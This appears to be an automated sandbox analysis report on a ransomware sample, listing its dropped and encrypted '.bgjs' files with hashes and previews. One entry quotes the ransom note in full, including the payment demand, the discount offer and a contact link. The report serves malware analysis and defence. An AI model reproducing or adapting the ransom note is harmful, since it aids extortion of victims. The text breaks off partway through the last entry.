Preview:	regf..M.F.....y.............d[.B[.-..S........H......i.=.1..;.p]F.C...U...5..K.u..... W...v.q.I.v.Tl.C....~..}.}CT.sb(...<.e.r....V...v.gw.?.j.'..}.V0%z....x....!.k.3.....H.5..G...L.:w.)..i..1.X...]_z,.Y."f.7.l......+.....b..:?.^.FdS.I....c79.}p@.s..nb.w...~.z....y.K......l...7.VTc....W=..X....~5.{..6..F.2....8.A...<f.....)n.[.Eg.K4:6._.O.8X.y...\.[..bt..N.;.oR.........C..m7:....w...'....{k......}_...K...K.r.......w.ON.B..2.w.'..=4.^i...Id.6)Z4..um..7P)...e.J.k...,....f..\|.....~....."..ZQ.4;.q1....Bo...G@?...0.6.......9R.Dm.pE;.Mi.a.W.,xV..X\....O..P.?.b./o...gS._....ty...o``aw!8D\|h.QZ.......f...V..9..z...3)L.....F..-.D.u..L".!'..G.b.3....m...].1.....I,c....s.O.c.c:........:...W/J.r..]...n...G...E.!7..}$R....". .5..H...(.4.Vb..(..\..........i..Ux...j..".[D....S;Y.\.X#.9+x.Z7..\.i........X.y...r.83..$.z.L.i.a...x....%X.06-G.........]...6.8.nG.J.._,.oD.....Q]...x...n..G...y?.L....5..@.R..0..G\|W."G.A..d.g.C.......9.\....)...jAv.t...d..Y0.Z...

C:\Users\user\Local Settings\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976651443274737
Encrypted:	false
SSDEEP:	192:EJvXt4gOReEUPBkHnuE+o+pTYdWd0MSBuBaRVtbj0lmFmQ:EJPV/EUyHuy+pUdWgBzRVtWmcQ
MD5:	5D660C5426F332971C386F02746F3054
SHA1:	35E09696C69688641EC896E017B3C91678BA5F60
SHA-256:	0B4C67808F28EF7CC151A33C46316DD20D051C0FD93FFA22A46B5BAD393789D4
SHA-512:	F6259CC8D45057127857DF756A181A82CD72BFBF67AEFAD6DB075A2C4468F6C7F2565AB1257110603E1C1C33D27A1ED4ED26BBBEF3C8E6500E2E398804F05260
Malicious:	false
Preview:	regf..8^.....`&.c...e.d...,.'j.{\|.t...WZ.ky...@.....&X...t..]...Q. c...FP.).5...2...@...I.U....r.f.B..^u.b.......2jH..K..(..J....wo.4.6x.M.N<A...........~N.....v.{......:.8..(..%..F....`Xr...5....T....&.O.`k...........E....SM3..\nH.Z.......G...9J.....\|!8;h./..{..KO...2......t.<...g..V..,28.YC?.U.{..>6.?......3mK....~bV.........w...sr..'.m..rB..2........p.N=..5....7.Q....#.}.P...H..z.(......G.FO....y&}.ex..al&...V.Gb.........1&.n.eS...$/u.M..`\|.....!.........L....\|.I......q.\&.F........,F.....M%....Y...B.B-T.....3i....S.#Z.....Lq1.o$.f.o..Z.u..?d...*...}..Z".S..j%.s....k.:.L.. ..Z..2... .N..)....C.)#._.jY!wb............:....>(.y^.G.....{....4O..e.H..Vd(.....#i.<.\.-Fi...d/.+3?.G3....K.y6yd;Q..(..w.69...Zooo.....^S(.E..D.0.........).....1..JQ...E.+....;._..C....q..9M...41..Q..4....Gz6-...p.+p.h7.;S2..."u.Ko.......c.:s.\.f...#5W.P\M....c..2'.....5...:..V..V............03.Y...O..2......b..$@....d ._..i..N.{.O1.q....~Y.i#....]....;.a..C.

C:\Users\user\Local Settings\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979847672240075
Encrypted:	false
SSDEEP:	192:f4hzzFH8FhYt4cxDlpnGWjeO7R4MlVRaGqTaJ5Q:g1zd8FhSnDltKOeIVBqT+Q
MD5:	BE57398266A7093A0D853959BB626740
SHA1:	EFC1F2DC9D21E7C20FD6FF9FD392322C2EE7082E
SHA-256:	9F5241F72FBAFE031CFBB68E233122190DF73481076A437551F0143A3EF423C4
SHA-512:	1E0C8BCF5DC305B216BF6A4EFB467FDA98D7342478E4655B743891241AF62BEA677D043453C44EE41FC16B328586593A47E635FBA1329B38D36598EACDD8FB28
Malicious:	false
Preview:	regf..B..7...2.......C.5?..sl...d.^.hm'.8k2C.E=.{..._=..R......~s..P4.`.. ..U......{...:..........)d..>.sI.9....K68..@?....7.Z.;v..g.......,'@...}............BP...mb.\...e...v.....P....F]Z..;....../S..r.8.5d.....[..}.Q#.......e....4O.nc.F.[aPe..@._....4l2{.0..$,..X.k.V..K..t.6.....(u%...1IM.>..{9.)..!4.:.MI.\|.2....%?d..8..f.ac/.......Ps......\|R.z..1'. ....D..q. f/...o.]...nl.].?.Ao..G"...x..t..j..B..88.....)..k....E+.Q.......Y.=...A...6H._.Q.eq!*.......U.'...;6e...Q.....GXt..!.;.....'..Z,.}..-.d..9mk....7.q]..]..{3..i.].....s...z...[.%.].8a...M)%........i.....L)8...^.."Q.l=..u..;...Zt....w`...ub.cT.3..<..4....a.........\|.L..e.@.G.mZ....v......b".....g.).kE...8v.dvZ.hl\.P....X..IC..;y...JEs.r...'.. ..._x..4..c...j..18g..C.....O...=..xm.C0....\\|."...c4..".g.\|..L?._<.....+....d..o..}.C....^..!..q.o6....2[.......]...KQ..\|...$..=m.>..u>.D..q...?...=e...zS4..oo.vC.W.."n.~...dK....B.J`.;.Zyq...q..Nj....1!.Q&4.g.....5(.h.Z.g..t..H`5

C:\Users\user\Local Settings\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980651707084381
Encrypted:	false
SSDEEP:	192:3dQa7i+zctrrAV3GgDz7s4PD0dd4O1OMY4+j/t6XUv17ECOQ:NR7iXtr8FGgX7nIdXmA/COQ
MD5:	E964DCA35173895ADEA811D683851E02
SHA1:	ACA4101616199AD41A2BF0B95F77CDCBFAFDA891
SHA-256:	7E5103830D780E66B04BDFF852D6BEF8A18F13460BCE96F7E47D5EAB4D743284
SHA-512:	80BF89F5F87C9CBCB090C435BA41DF4B9FBF66F5B006A3E7DF958A96B7AE0B11A620440FCECAB7A0B4357E1EB5507254991CDDFE6FA8FA50D046DE48939438F7
Malicious:	false
Preview:	regf.G.yN....~37...2.$.I...?...].Gt...1g.a!..d#..w..g..D.py..\|.]r....'......;.?(...26.;.e{.iR...:.....8.gX.Q~.9.E..&.cJ4).$f...9u.Zp4.5I.].....4.r...j.Ab:......C.Z+.4@..\|.....k..g..y.&.=K2.....s...B..7EvY.....k...c..5t..B.S7,....4"A...h....8.b.N !\.'h.w^.[.. QN.~.N6%qCg<)5..V..n...+.6.~....LGd...D.j...P....-..{.n~.)....i".^.E.d...k...m^...2co..}........&......q.....D.>.;.I.a+$.Y...Co[zjx..QjQ[.T?...W.XBkW............Hc.+.'.W.S...\|?+.......J...F.../{E..t..(.....v..V.(..?9.6).}I...B.."6Y..M...C......ayV........c.Oy.OHN.C...2."\|.+.=..0.%m3...5`qEt..Rr...LmX..i..6....%..;.<..S....-TT\|-(.$....C.X\|....8...x.@..0."...`.Z.4dRd.T....r...(....s.....&D*.(.v.@(.j.A....O...<$q..+...\)>..y\|..ok..~..s.K..F5...`.0.......VY.+.......J.....bdb\.....\|#X.)x...r&...Y..nC.....U.....M$Tl......../k.v...'.D;.....z.v.....V...........C7$....#r.......X5.....K.j.:..+..:..U$....@.e....."..)\:..C...zw.q....=..V....`.R.....Yo.s#...b&.T.>..A...{P.QZ.

C:\Users\user\Local Settings\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975540907878777
Encrypted:	false
SSDEEP:	192:lhAzVfPaPJXJa+YsF2KhZsr08A+P9me2tHPkXDdTf+xdswQ:lIVKP9YGViE+P9mdtvkzAfDQ
MD5:	0C96723A729F5BFA82FD715F34AE51A9
SHA1:	F980E9FC5A27F381C633A967982E9485A0F7EC31
SHA-256:	C13263F8E753D9CB41B397186F89B821CAC971CFCAC40FC185CE844CC9A20FAF
SHA-512:	DA635AABE9B2FDAE025356995BBC5B03820F34C61A7C46C7C5BF7105CC56A0A413F4F0E688034185D87C1BAAAE9E5B84E2A50316FB6EC68BE408D0D0CE03DD81
Malicious:	false
Preview:	regf..).....$.[&.........j.<.q4.0..m.I..hxa...}O.......z.3.....[..8....r....z..@..`....E.....@........\.7b.lc...8.ZR.<cr...=..s......Gm<.....r.#.....Q........K.8.r.=....^...../.c[....ir\.M......B.r.^8.7[j$.!........3..T.,9.q.?.D..!...."..l$...................Yy..&...]/.....\|Q\.N.....n.E......U..A_..I.....+_%.!Gwq[..u...j.mt..~.K.....~....x......b.TkQ... ..#.M.H.D0.W....Gk....G.)..5&Z...d.....O.K.r_.\....a.E6....2.....VJ/.?.I.._..p.W.....f.BN5t..1L.o.{.C.V.L....8 ...[..!T9.\|...H.......G.._....u...e-L$.!.[..E...\.....N..F.....-.7".).`.oKV....3.....zf&.o..z."k......`,s\.e}.S.(..^...5...<#..:t..!).<.B ..^5cu...?.fg.R../.fj...+@w&.g....?.Z.z'w.?"..Iu..A..1.K3W... ...W\|...N..N..#...J(...(.....(_.v+.8s.... R}<J.....c2..?.l.6.bI.F..9.X}nb....4t.v0......`'D...\..o..A.....^..\....2.JP.#.....W.Nk.........9..E..j.AK...@gV.._..h.hL..'.H.z'....D:^.j.k..w{.kx0.e.S.Y..l...UQp.....!..nhM...=.2.-:....5.?..hr;..jT..\;C..R..5XM...A..8._u.;i-.Y}.-.![.@.k...1.+.

C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.992331227888763
Encrypted:	true
SSDEEP:	384:iy69kXZ+9CE0xL80ZN4C6m/PzlC2/gODmWXqMRUoOV8jhZwGdul28bs4iFShn0yQ:iMZXE0xViYLY2/LmWXq2UoO+jv5Z8bc3
MD5:	97B8F0C74479214402419D749FBD05D6
SHA1:	DCC6025CEFB5DA7A3467E505B0EE62DC5C6C4F05
SHA-256:	2827C09AE27F448562EBAB2095756AC06F663101F3EF9722110416D350CFC345
SHA-512:	9D5444A8A46FC28EAADC00624802294B995BC28168FE5618C7C37CE20165F031A5737CBAA77F8453419BB895C6CCCCBE2517D4B4855B3E90CA74776042E844FB
Malicious:	true
Preview:	05-10...LD...... .k?.....9.a....:"..~...C=5{&Z...6M.o{.~.H.(.9.Y........`!...}.7..D.E......'.$..j.V..".......t...2....io.T.m^.E.cH..u.;.rn&.I...#.....+.u...z.Q...7.g....qj..1E~N...@.z..]....+..\|.g.:............#Lu.Jb..&....,[h.S......J.]...........G...0VP...Vz...d`8....rQ^g....ME@(..o..@'...Vr:K....,...i&/...........6F.]{.g....Rl.8.J-K..i.......h....y..6{w...S\|1.G.O.~......]L..#...r..!..P.~D....`.......N.K.S..8....W.;...O[.P....}M.,._`..j\|..-.{..:...9]Z%.!..RHUm"...&....`B...i....?..)b..8...J9vn....7F^H\..x[.N..c.xY.....$......#W..Q..d...t.Z.0.(......H..@.:....UI.PX.X..CIXY.+&...L...-. A..;..>.xyByV.d.Bq.o`..........D...$H.t..jl..o..L...m.'..."._.h.....^F....>2.\|..D\.......+.q...=....S.e.........#V..9f-.'...o7.....mj..IV...(..J...Ag.d.F.p.[..Z.Z..`..F._`..'.q...0<..E.%.@.!...h...H...hL.O_...&O$.......\.6.%.b.....<......y.>..8D3y.....K....\|..rg.C.....\|.gS.n.-M.[.....}....Xw.2J;q..@..F...B...k.0t.jr.Yp...<%..1......9-.....kt..T..o.h......

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.81642965947752
Encrypted:	false
SSDEEP:	24:dLBdtmVhqbTPYgr8VWsyyAAPcLHlbizoyuSRT0eIPLjDMTzgN85xbOIjuXq8uWbD:dtdcnqbTPYMdEEpezJuSwDPvmY87OIa5
MD5:	61895B37CDA58654191CFEAC9ADCAF62
SHA1:	B91F9542BE989B00301535C51D53AF1308465356
SHA-256:	9F937BB7BF8A710EA6CFDAB4B9E5E8B70D7570A556C3A588B288EDF7D2197EDD
SHA-512:	B2610823F26B039BA9B95EB263748CE41E78D138AABCBADE441124A092CFCE0C91812F407246BE04BA6134E16B034BE04969A80C32B24BE3935526ED17AEB783
Malicious:	false
Preview:	<?xml...N.t.d..U..B1..+...."....#.u.->C..N.`;........\F.u.' 5).K..~...UOl..A.L{.6,.@.a.8..>..j....Q..........4.h.6.wF.H3..{42(%....T.9{.q...[.Igxok...j.H.S...-.f....1.F....<....9R.r.K0.z....9.z......%.,...W...d.1...>I.&..p=.....d......y.K......>.....r^....{.+#.../.......:]....a.o.......C/..3^/.Y.l..Q..(P..oZ......%......-....r.t.'...d......mP.+.8..U..>..j..$..0.$......sYd:2am,K.X......&O.1.f~...#_]..g.0..-.....g.X./Q..!.dLxr..y.S=... .........m...7~....gRT..Dc.v."4.V...[../.Y..a{R...F..'T...Q.R[.VC "W{....C.......KO=...0>...>.:.c..ja..x'(.....b... .u.o..c........`Gq....o!.g.u...UV..).S.D.Y.+.QZ..P.1 ..3;..z.d.r.~...I..f.D.J.K.7L.nM....M...Y.f......$:..<..V%k....vCM..K....b.t.....T...f..k.z.........\|-n..3.zY.a.{gb.^!......(.J..9Q.....;%.cori..F..[..... .ttO..<H.5.c>/.......=...^$..u_.g0>.J.5.n/Xb&.\/{..!.t..\R,..l.b5.....B..^8...;..R...7I.U<i....,7.-....6XqY..../s}."....CT.Tu........2...?.Q#..%!....`6......._.xA_"....w.Gigb.8.Wp

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.81642965947752
Encrypted:	false
SSDEEP:	24:dLBdtmVhqbTPYgr8VWsyyAAPcLHlbizoyuSRT0eIPLjDMTzgN85xbOIjuXq8uWbD:dtdcnqbTPYMdEEpezJuSwDPvmY87OIa5
MD5:	61895B37CDA58654191CFEAC9ADCAF62
SHA1:	B91F9542BE989B00301535C51D53AF1308465356
SHA-256:	9F937BB7BF8A710EA6CFDAB4B9E5E8B70D7570A556C3A588B288EDF7D2197EDD
SHA-512:	B2610823F26B039BA9B95EB263748CE41E78D138AABCBADE441124A092CFCE0C91812F407246BE04BA6134E16B034BE04969A80C32B24BE3935526ED17AEB783
Malicious:	false
Preview:	<?xml...N.t.d..U..B1..+...."....#.u.->C..N.`;........\F.u.' 5).K..~...UOl..A.L{.6,.@.a.8..>..j....Q..........4.h.6.wF.H3..{42(%....T.9{.q...[.Igxok...j.H.S...-.f....1.F....<....9R.r.K0.z....9.z......%.,...W...d.1...>I.&..p=.....d......y.K......>.....r^....{.+#.../.......:]....a.o.......C/..3^/.Y.l..Q..(P..oZ......%......-....r.t.'...d......mP.+.8..U..>..j..$..0.$......sYd:2am,K.X......&O.1.f~...#_]..g.0..-.....g.X./Q..!.dLxr..y.S=... .........m...7~....gRT..Dc.v."4.V...[../.Y..a{R...F..'T...Q.R[.VC "W{....C.......KO=...0>...>.:.c..ja..x'(.....b... .u.o..c........`Gq....o!.g.u...UV..).S.D.Y.+.QZ..P.1 ..3;..z.d.r.~...I..f.D.J.K.7L.nM....M...Y.f......$:..<..V%k....vCM..K....b.t.....T...f..k.z.........\|-n..3.zY.a.{gb.^!......(.J..9Q.....;%.cori..F..[..... .ttO..<H.5.c>/.......=...^$..u_.g0>.J.5.n/Xb&.\/{..!.t..\R,..l.b5.....B..^8...;..R...7I.U<i....,7.-....6XqY..../s}."....CT.Tu........2...?.Q#..%!....`6......._.xA_"....w.Gigb.8.Wp

C:\Users\user\SendTo\Bluetooth File Transfer.LNK.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.840580426263325
Encrypted:	false
SSDEEP:	24:e7LxtDX351dv9WGVMK7JPiPtnrU9h8vW4s4XbRNuw70Wx6SqKXq8uWbD:kLbD3NDMKliloh8vPsUtp6SqKXFuED
MD5:	564EAC3748FE4B462F8974DF73494671
SHA1:	4160017283DEFDEC96ED5360B6A2253DF83D1951
SHA-256:	0A55D5FDD599FCB97F5B56F2543D65A0827E9192DF07E400EBE9D3B9C76C3542
SHA-512:	8B3830BF357350E9356BCED5EC9626893FBC907EDE77A9059156CAC7BF839FBAC0D77B1352E9647CF79138CD14156D17259905603DCC4E3E7BD3470561E1B421
Malicious:	false
Preview:	L.....^.u..G!.\..!J\|rA.g.\.u....U...]g.;(.....I/....@.\|z...[..?._......u6\..kZ.o.m.N=.....h0.K..$.5.~......&>z!.......?0...G{.X.C.g...D<.'..0..vF......y......0...`.+F.h.?...-{.n.0.....5j./.,...3.\|..~...M...H..r..C..5....9.T~.......yB......'m...j.i.VM..#...\7...)-.'`~.u.....gJ^..P.....'rw.....1...2.1..7.Y.@J8H.:._.%.&..~v.6r......"A.'.l..L....o.M.x^. 6....`&g.,.B..../.X..........".%.E.....Q#....>.h.z.5...-...u........sW...X...:78.m..;.....:...9....g...DP.U.^I;.........z(....[w\|...B.yt.....UY...N6......=...........x.s.....O...{.&..@J6..?o...,..R.y2.E\e.5..0\|....vs.<.1Rhp.]I..w_>._.....UC...X..@.~HY.1....\.3...t.k1g..BU..w.....g......T.yQ].5?.l....;o..>......vN.Bc.C..@......g..u.?)-...9c.\|...}@b.....%......&^.-.~..55...v.\4..7.gz@v3.xw..efn.....`..F.n.M..u.....}..U....\..........).J.aQO..W.m.Lt).L......k.....Y..cw.1.u..j...G3.E..i.....9+...gf..*...C.._5g...IHW.$...A...)....+......c...e/...H.m....]......oL.?..N..P..m.k....4...

C:\Users\user\SendTo\Desktop (create shortcut).DeskLink.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.246233062792499
Encrypted:	false
SSDEEP:	6:uXxqnWWFNa4PNqfm1OcZ0DJpjaM/KqWx1ok74J51ItXqHk7T3eWcii96Z:uk5Tcfm12Jp9kxz4AXqOTuWcii9a
MD5:	A6DF38F0C7C3C8DF1A0528E40497B241
SHA1:	B789870B8AFD3D4E702ECB41B3C3B2B66B4BE5E7
SHA-256:	CB629FA280FB0AA835F582DECD067D209F0D44F48BDFB92DC34A6BB8C12D11F8
SHA-512:	4B9C6FF2BBCE0351F67C4A6103699A2EF1DF34CE54B1A16D83C60401782F4B9DF74F4011FCF91DB5DC8F0562F4A6C4728B19BC5B22EBED6305C0949553C53A0B
Malicious:	false
Preview:	deskt.V..b...N+.i]..F1......."....k.............!..%.eL}I.@..S...Pb..b...vr./\|...h.......bI...n........iqS.U_4..1OY..;.9.i.rjsY...8rF]..:....e.O.$...,[..~.6V..J....._.z..".....z:q..L&-..dSm..\.V...5..p}......H.z..E1....#q.gu...J..l..Z.E...MP...8.4.rdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\_README.txt

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.875671114836671
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3u:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kp
MD5:	59EE21E88485CDD659BCFD1870AA3B80
SHA1:	806224D396FAB3FCA8C44909B256A3BBDA9E5227
SHA-256:	1DBACA7209015FA93115D632869F80BDF64AC479EB7CB77EB188A8A4C7B4D54F
SHA-512:	72DB3734D0B0127ED3D1B394E86DFADE8E97BBE0F6C39627F7F9D0D7E4A1BA78CC101285899172944B88922FD8A6467C09DA83527D2D23AF4EB721F2542750CE
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

C:\Users\jones\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	620
Entropy (8bit):	7.631395694544882
Encrypted:	false
SSDEEP:	12:klLrwNiPGwJ7pNeYZC3NKgLM7R03SFeHl8WX/apmRFKCTV/YCANvAXqOTuWcii9a:Er+iPVNHZYNo7R03SFa9X/apmRFKKV//
MD5:	5F819C3A3191E8A0A7D1C78C2D99FB1A
SHA1:	BDED52B85EF3397DFC133A05B3F925DA28D01E83
SHA-256:	76877D8442B4C2A884CCB499C34AE36CEBB4A9FCB4B28AE8C67B7A3CEDF7C0E1
SHA-512:	B8814573C2C6A333C23D709053AEE0FE1E8602805B7A7A52356E7F617598B4C2743519C7A58C751DE6D5043153BE90429FB6C03CC703A5B1DC1C70B08F383941
Malicious:	false
Preview:	2023/..Os.(.....q....G.....{@:. .......A:O....'...."t}.....$j.q..O$"Wd:...2oz!..I'.J..l(....M.!1.....p}.8..].....-_X..M.....Bq..r...L}@!"....[.3..].......O..?..6.u..9..+..#NIQI./.2.U..1..g..}if.2...Z.4........'.]\|...:....>Q<.J77c....BG."e.....8._^.0r....O....$.T.....BX.....nk..G... .)R.w...f.U..#..\.f.&..N.D.......uT...C.....D-..v..4.........x...t.Z..HXz.W[BF.;...=.4,...K......s....A...s.@y....c......e].....xs[.I..O...]@.....h....@..1)....,..lq+.y%...L.L.....eE......s..."...,...."...$Q\h... _%..h..n..q..*....dQdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.73031922343286
Encrypted:	false
SSDEEP:	24:YKW9Z/0hmTXiaSCJ/QtUROZ1gPaEVbQTQVXkY5qnKXq8uWbD:YLZWcXmCJEU4Z1gyqQTQVU+XFuED
MD5:	39B6D16688203A05A0D54B4BE2C3BC4D
SHA1:	75E23F1FEA9A159B344C3364081141C79142E376
SHA-256:	05CBA65664675DD14D23C73FC0EE017480A8053BE3C1F438AC680D4394B69AB0
SHA-512:	52A12F14B9EEA5FF256377E775ABB90EDD12171AB015C1AAB4C801A645D1B042E5E864F3EE97A86B5241F945DE01851A543D25253A8D27E640A8376FC79E8291
Malicious:	false
Preview:	{"os_.%k....7..?~.z@.rt..u[/.x..:^..S.....e......../\|..."..2.-.C...o..&zHc.t.......D..\|.\|..!.E/....ym...K..s....r.J..L)....{.~..!........P.k.5....s..Y.6{.e.GU....2uA......m9.....k.2l..)M...@U+xu....V..........O^.bNX._...Cg.@5V.\. ....@}.... ..E..>.\|.3(.9.NH..".a.....&.B`........[Yt9....U.-...U.+hjv...?....N....N..a)~.z..6v..]...).....h...F........L.......L..Bj..B\F...j.{......Y]\|.....w..qX...wAW"~y.$L.......u...",......b...ou.G6WSl....cyf...tdN......N.\.B.Z...8y..`..QN...y%.C.\|.......=.(...6[..p.K...r....2..,.c;{p.-..y.4.....9. D.D.S.`,>bE....a. .2h.;.. ..6.......c`.h.R.....cYE..C..*.\...;....t~..H'.m%.....r$5..........[..5C....j.2...8.... ......q}.vG..(W$.1?^.kG.....B.z.."3..C[..1doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	11214
Entropy (8bit):	7.981734520186165
Encrypted:	false
SSDEEP:	192:1CMOif4OL5aXd3UQrX14eR3fi8Ar+l143SSZvgq1m7QnPhzvrElHYMAwCQrfxQ:1Cdif4qaXdkQrvJUKO3nwc5zzE9YMVxQ
MD5:	55E74AB814E4E7EC6D7DF5F310FAA40D
SHA1:	4C02C8E2D24CCE20ADD3A49EAD9A9E34EE769C92
SHA-256:	B20437572E484C5FF760C1AA51C0461CE70FA5C213949FE05BD38AA7C500F62A
SHA-512:	719346FA79E40EC33B83FA04B507D5E6073A02A6B582B6F8354102CA31293B05F44D4D102748D2685CCF999680E9EDB1D1245B69487C16BB7D9466EF7350EBF8
Malicious:	false
Preview:	%!Ado."?.+=8.0.%..Q{.d.A.kbN.Q.,WD&d...).g..w\|......NL.Ih.sC0......h.f...: D.!l.+....U...o^.4.BH..`.....$.....;.z.$r2.B..d...1..8.R<.,...C.P..w#.A.... .-}u..+...r.k.+u.jBx...)./.'de..#g.\..I.(7...c.}...G...D_.(..g.-...yw]..d...1..>'4,J.Ep..C......T&.c.lk.`.}++.BJ.V..%.>..H...4].D.UO..m.Y...=..gX.......(..>.A...x.;......0/.p.....QSGn.Ku.{.&$3.C...\.5D..F0.].%..P.x ......!VG.-..Yy...0t...).&.X...[.......LN{...%p.@....F.h...e %%.......gv.....MI......q....m.Q.~....]..~...N..u..k...I...E.L.^.xou<.cw...\...i...\|xJ..j..=...&>Q.\.>.h...B20.....R...2.m....{a..H.Y5...a'XE.....$.2D?.u...)./.......!Sj...0...B.E..2.5"r.....A.T@.r...J.iloUs:={..q.'........{......y2....]...j....pI.......3^..a_...`..}.[..@.\|.[.X....:M.1...../y;.sY.ndC.v.\|......&e...V#%....!.!.)f......l8A}...A....^C9..k....[.x?...$.Gb.I...hG..{..1$...O.5.x...Mv.... .W.N..~....].....9..X.;x$,...9.w'...}.z......210.;R.W...?.K.p....cV*.F..E. .Mm.{......pK.....fB..'x<...Y-.O9.].L.EM..yV.....s}.6{

C:\Users\jones\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3152
Entropy (8bit):	7.938620186364238
Encrypted:	false
SSDEEP:	96:s0vnhAdWEIIsDP63hD7hUDqAP3qYYgFKZFuQ:HvnoWZIsDy3hD7hMqASgFKaQ
MD5:	CBB6C6B1F31A795953DF12109A6CED2F
SHA1:	969FF380DF4E469905C20392B773C37C3B670187
SHA-256:	3CB0DE6D9723630381B2CDE3997C5F6AFD3A1134352FF65250067970AE62BFB6
SHA-512:	FCAFE6AE86489BD0723CA89A162E6CA14BA5F7CA7222D5AF31B36546D4DAD429F8416B0792908A5BAAA6C51EE9E65108E04FB38CDF77D2536EDB5D2B9D153ADD
Malicious:	false
Preview:	{"all...w......v...f...........'m ............t....8...)..G`..../..rB.<(...B....~...n..5..k....O_E..>..x..sq..{....Tg.......w5.i..ph...;.[v.....5.x..k.G.z......\.;..S.R<..w%%.VX....T..`t...`.J]G.}.n...jep...`.-.P.7.....].Y#.V....^T.\|V...&..p.S....:`C.T....QN.....U.g..AL.,..Q.....R...:j..........".Y.%.7...Pi{.%.l.....{U........VJ...H.4.R..oX...:6.?.....hE....g.A...I.P.cA....[D...\|....\|.X.w[i...`.r...f....5.....U.....G....x...\|..<V!N6..y...,.-.Ey.(....#..S.u.6..WP.o...6"..[4.m.B.K..2..l-.0n....y^1]./.7..:i..:.p.....C.:..p..?;....A...j...g..e...."..S.....t..1...\|G.....W........Q.....b..!_'......Y..4M....\..\|.].y.......&W$!..aM...R.a.kvG...].{..#Oi.6.(\...T...h...[Uu..%O..j.......{...........\|..2.......r5..1........Kp?..N..&.z^...j..w.....:..R...U.}.....B..<J......0.e..y.T.&.....V..Fb.....h.......[.....T....\|.J..9`'.J..m8F.. S.J.v.).\.O..1.+Q._3.a.......(.j... ..H.RJD..........=..}.Q.0.GUU.....?.J{-8!.......c..#.tQ}..S$.......q

C:\Users\jones\AppData\Local\Adobe\Color\ACECache11.lst

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	932
Entropy (8bit):	7.7685606215980085
Encrypted:	false
SSDEEP:	24:j8jFVvXK5TLigUsU3nN+aWa+igmdXq8uWbD:Apg5TLzULnN5RdXFuED
MD5:	EA41466070B428FE5E8FC89C84741316
SHA1:	7315A37D6F88E0AC9737A7ABECFDDF6DFCEE7B85
